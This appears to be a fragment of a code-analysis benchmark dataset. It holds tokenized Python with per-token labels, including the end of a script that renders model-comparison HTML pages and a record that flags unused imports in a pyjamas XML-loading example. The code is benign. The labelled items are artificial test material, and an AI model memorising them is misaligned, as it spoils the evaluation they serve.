"\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "output", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "output", "Folder_", ",_", "'", "index", ".", "html", "'_", ")_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "render", "Index_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "ir_", "._", "get", "Model", "Names_", "(_", "params_", "[_", "'", "model", "s", "'_", "]_", ")_", ",_", "num", "Categories_", ",_", "bins_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "Bins_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "bins_", "[_", "i_", "]_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Rendering", " ", "%", "s", "...'_", "%_", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "Sub", "Folder_", "=_", "os_", "._", "path_", "._", "join_", "(_", "output", "Folder_", ",_", "names_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx_", "=_", "np_", "._", "array_", "(_", "bins_", "[_", "i_", "]_", ",_", "dtype_", "=_", "'", "int", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "Test", "Subset", "_", "=_", "input", "Test_", "[_", "idx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "Test", "Subset", "_", "=_", "target", "Test_", "[_", "idx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Output", "s", "Subset", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "j_", "in_", "range_", "(_", "num", "Models_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model", "Output", "s", "Subset", "_", "._", "append_", "(_", "model", "Output", "s_", "[_", "j_", "]_", "[_", "idx_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "output", "Sub", "Folder_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "output", "Sub", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html", "Hyper", "Link_", "=_", "'%", "d", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pages_", "=_", "ir_", "._", "render", "Html_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "input", "Test", "Subset", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "target", "Test", "Subset", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "[_", "'", "question", "Id", "ict", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "[_", "'", "ans", "Id", "ict", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url", "Dict_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "top", "K_", "=_", "params_", "[_", "'", "top", "K", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "model", "Output", "s_", "=_", "model", "Output", "s", "Subset", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "model", "Names_", "=_", "ir_", "._", "get", "Model", "Names_", "(_", "params_", "[_", "'", "model", "s", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "Ids_", "=_", "idx_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "j_", ",_", "page_", "in_", "enumerate_", "(_", "pages_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "output", "Sub", "Folder_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "html", "Hyper", "Link_", "%_", "j_", ")_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "f_", "._", "write_", "(_", "page_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "Cat", "Name_", "(_", "i_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "name", "List_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Bin", "Name_", "(_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bin_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "range_", "(_", "num", "Models_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bin_", "._", "append_", "(_", "str_", "(_", "n_", ">>_", "(_", "num", "Models_", "-_", "k_", "-_", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "n_", "&_", "(_", "~_", "(_", "1_", "<<_", "(_", "num", "Models_", "-_", "k_", "-_", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "''_", "._", "join_", "(_", "bin_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Name_", "(_", "cat", "Name_", ",_", "bin", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cat", "Name_", "+_", "'-'_", "+_", "bin", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "render", "Index_", "(_", "model", "Names_", ",_", "num", "Categories_", ",_", "bins_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html", "List_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "html", "><", "head", "><", "style", ">", "%", "s", "</", "style", "><", "body", ">'_", "%_", "'", "span", ".", "good", " ", "{", "color", ":", "green", ";}", " ", "span", ".", "bad", " ", "{", "color", ":", "red", ";}", " ", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "table", "{", "border", "-", "spaci", "ng", ":", "10", "px", ";}", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "Models_", "=_", "len_", "(_", "model", "Names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "Correct", "_", "=_", "1_", "<<_", "num", "Models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "h1", ">", "Model", "s", " ", "comparisons", "</", "h1", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'", "Not", "es", ":", "<", "br", "/>", "<", "span", " ", "class", "=\"", "good", "\">", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "Green", " ", "means", " ", "the", " ", "model", " ", "gets", " ", "correct", "</", "span", "><", "br", "/>'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "span", " ", "class", "=\"", "bad", "\">", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "Red", " ", "means", " ", "the", " ", "model", " ", "gets", " ", "wrong", "</", "span", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "Categories_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html", "List_", "._", "append_", "(_", "'<", "h2", ">", "%", "s", "</", "h2", ">'_", "%_", "get", "Cat", "Name_", "(_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "table", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "j_", "in_", "range_", "(_", "num", "Correct", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html", "List_", "._", "append_", "(_", "'<", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bin", "Id_", "=_", "num", "Correct", "_", "*_", "i_", "+_", "j_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "c_", "in_", "enumerate_", "(_", "get", "Bin", "Name_", "(_", "j_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html", "List_", "._", "append_", "(_", "'<", "td", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "c_", "==_", "'", "1", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "html", "List_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'<", "span", " ", "class", "=\"", "good", "\">", "%", "s", "</", "span", ">'_", "%_", "model", "Names_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "c_", "==_", "'", "0", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "html", "List_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'<", "span", " ", "class", "=\"", "bad", "\">", "%", "s", "</", "span", ">'_", "%_", "model", "Names_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "/", "td", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "td", ">", "%", "d", " ", "items", "</", "td", ">'_", "%_", "len_", "(_", "bins_", "[_", "bin", "Id_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "td", "><", "a", " ", "href", "=\"", "%", "s", "/", "0.", "html", "\">", "link", "</", "a", "><", "/", "td", ">'_", "%_", "get", "Name_", "(_", "get", "Cat", "Name_", "(_", "i_", ")_", ",_", "get", "Bin", "Name_", "(_", "j_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "/", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "/", "table", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html", "List_", "._", "append_", "(_", "'<", "/", "head", "><", "/", "body", "><", "/", "html", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "''_", "._", "join_", "(_", "html", "List_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
anandology/pyjamas/examples/xmldoc/XMLload.py
[ { "content": "# Modifications to allow execution under pyjd on Windows (mshtml) 2010-09-08\n# See Issue 481 - Copyright (c) Phil Charlesworth 2010 \nimport pyjd\n\nfrom pyjamas.ui.Button import Button\nfrom pyjamas.ui.RootPanel import RootPanel\nfrom pyjamas.ui.HTML import HTML\nfrom pyjamas.ui.DockPanel import DockPanel\nfrom pyjamas.ui import HasAlignment\nfrom pyjamas.ui.Hyperlink import Hyperlink\nfrom pyjamas.ui.VerticalPanel import VerticalPanel\nfrom pyjamas.ui.ScrollPanel import ScrollPanel\nfrom pyjamas import Window\nfrom pyjamas.HTTPRequest import HTTPRequest\nfrom pyjamas.XMLDoc import create_xml_doc\n\n\n\n\n\n\n\nif __name__ == '__main__':\n pyjd.setup(\"./public/XMLload.html\")\n app = XMLload()\n app.onModuleLoad()\n pyjd.run()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class XMLloader:\n\n\n", "metadata": "root.XMLloader", "header": "['module', '___EOS___']", "index": 17 }, { "content": " def __init__(self, panel):\n self.panel = panel", "metadata": "root.XMLloader.__init__", "header": "['class', 'XMLloader', ':', '___EOS___']", "index": 18 }, { "content": " def onCompletion(self, doc):\n self.panel.doStuff(create_xml_doc(doc))", "metadata": "root.XMLloader.onCompletion", "header": "['class', 'XMLloader', ':', '___EOS___']", "index": 21 }, { "content": " def onError(self, text, code):\n self.panel.onError(text, code)", "metadata": "root.XMLloader.onError", "header": "['class', 'XMLloader', ':', '___EOS___']", "index": 24 }, { "content": " def onTimeout(self, text):\n self.panel.onTimeout(text)", "metadata": "root.XMLloader.onTimeout", "header": "['class', 'XMLloader', ':', '___EOS___']", "index": 27 }, { "content": "class XMLload:\n\n\n\n", "metadata": "root.XMLload", "header": "['module', '___EOS___']", "index": 31 }, { "content": " def onModuleLoad(self):\n \n HTTPRequest().asyncGet(\"contacts.xml\", XMLloader(self))", "metadata": "root.XMLload.onModuleLoad", "header": "['class', 'XMLload', ':', '___EOS___']", "index": 33 }, { "content": " def onError(self, text, code):\n # FIXME\n pass", "metadata": "root.XMLload.onError", "header": "['class', 'XMLload', ':', '___EOS___']", "index": 37 }, { "content": " def onTimeout(self, text):\n # FIXME\n pass", "metadata": "root.XMLload.onTimeout", "header": "['class', 'XMLload', ':', '___EOS___']", "index": 41 }, { "content": " def doStuff(self, xmldoc):\n\n contacts = xmldoc.getElementsByTagName(\"contact\")\n len = contacts.length;\n for i in range(len):\n contactsDom = contacts.item(i)\n firstNames = contactsDom.getElementsByTagName(\"firstname\")\n firstNameNode = firstNames.item(0)\n firstName = firstNameNode.firstChild.nodeValue\n RootPanel().add(HTML(\"firstname: %s\" % str(firstName)))", "metadata": "root.XMLload.doStuff", "header": "['class', 'XMLload', ':', '___EOS___']", "index": 45 } ]
[ { "span": "from pyjamas.ui.Button import Button", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 36 }, { "span": "from pyjamas.ui.DockPanel import DockPanel", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 42 }, { "span": "from pyjamas.ui import HasAlignment", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 35 }, { "span": "from pyjamas.ui.Hyperlink import Hyperlink", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 42 }, { "span": "from pyjamas.ui.VerticalPanel import VerticalPanel", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 50 }, { "span": "from pyjamas.ui.ScrollPanel import ScrollPanel", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 46 }, { "span": "from pyjamas import Window", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 26 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Modifica", "tion", "s", " ", "to", " ", "allow", " ", "executi", "on", " ", "under", " ", "pyj", "d", " ", "on", " ", "Window", "s", " ", "(", "ms", "html", ")", " ", "2010", "-0", "9", "-0", "8_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "Issue", " ", "481", " ", "-", " ", "Copy", "right", " ", "(", "c", ")", " ", "Phil", " ", "Charl", "es", "worth", " ", "2010", " _", "\\u\\u\\uNL\\u\\u\\u_", "import_", "pyj", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "._", "Button_", "import_", "Button_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "._", "Roo", "t", "Panel_", "import_", "Roo", "t", "Panel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "._", "HTML_", "import_", "HTML_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "._", "Dock", "Panel_", "import_", "Dock", "Panel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "import_", "Has", "Alignment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "._", "Hyperlink", "_", "import_", "Hyperlink", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "._", "Vertica", "l", "Panel_", "import_", "Vertica", "l", "Panel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "._", "Scroll", "Panel_", "import_", "Scroll", "Panel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "import_", "Window_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "HTTP", "Request_", "import_", "HTTP", "Request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "XML", "Doc_", "import_", "create", "\\u", "xml", "\\u", "doc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pyj", "d_", "._", "setup_", "(_", "\"./", "public", "/", "XML", "load", ".", "html", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "=_", "XML", "load_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "on", "Modul", "e", "Load_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pyj", "d_", "._", "run_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "XML", "loader_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "XML", "loader_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "panel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "panel_", "=_", "panel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "XML", "loader_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Completi", "on_", "(_", "self_", ",_", "doc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "panel_", "._", "do", "Stuff", "_", "(_", "create", "\\u", "xml", "\\u", "doc_", "(_", "doc_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "XML", "loader_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Error_", "(_", "self_", ",_", "text_", ",_", "code_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "panel_", "._", "on", "Error_", "(_", "text_", ",_", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "XML", "loader_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Timeout_", "(_", "self_", ",_", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "panel_", "._", "on", "Timeout_", "(_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "XML", "load_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "XML", "load_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "on", "Modul", "e", "Load_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "HTTP", "Request_", "(_", ")_", "._", "async", "Get_", "(_", "\"", "contact", "s", ".", "xml", "\"_", ",_", "XML", "loader_", "(_", "self_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "XML", "load_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Error_", "(_", "self_", ",_", "text_", ",_", "code_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "FIX", "ME_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "XML", "load_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Timeout_", "(_", "self_", ",_", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "FIX", "ME_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "XML", "load_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "Stuff", "_", "(_", "self_", ",_", "xmld", "oc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "contacts_", "=_", "xmld", "oc_", "._", "get", "Element", "s", "By", "Ta", "g", "Name_", "(_", "\"", "contact", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "len_", "=_", "contacts_", "._", "length_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "contact", "s", "Dom", "_", "=_", "contacts_", "._", "item_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "first", "Names_", "=_", "contact", "s", "Dom", "_", "._", "get", "Element", "s", "By", "Ta", "g", "Name_", "(_", "\"", "first", "name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "first", "Name", "Node_", "=_", "first", "Names_", "._", "item_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "first", "Name_", "=_", "first", "Name", "Node_", "._", "first", "Child_", "._", "node", "Value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Roo", "t", "Panel_", "(_", ")_", "._", "add_", "(_", "HTML_", "(_", "\"", "first", "name", ":", " ", "%", "s", "\"_", "%_", "str_", "(_", "first", "Name_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 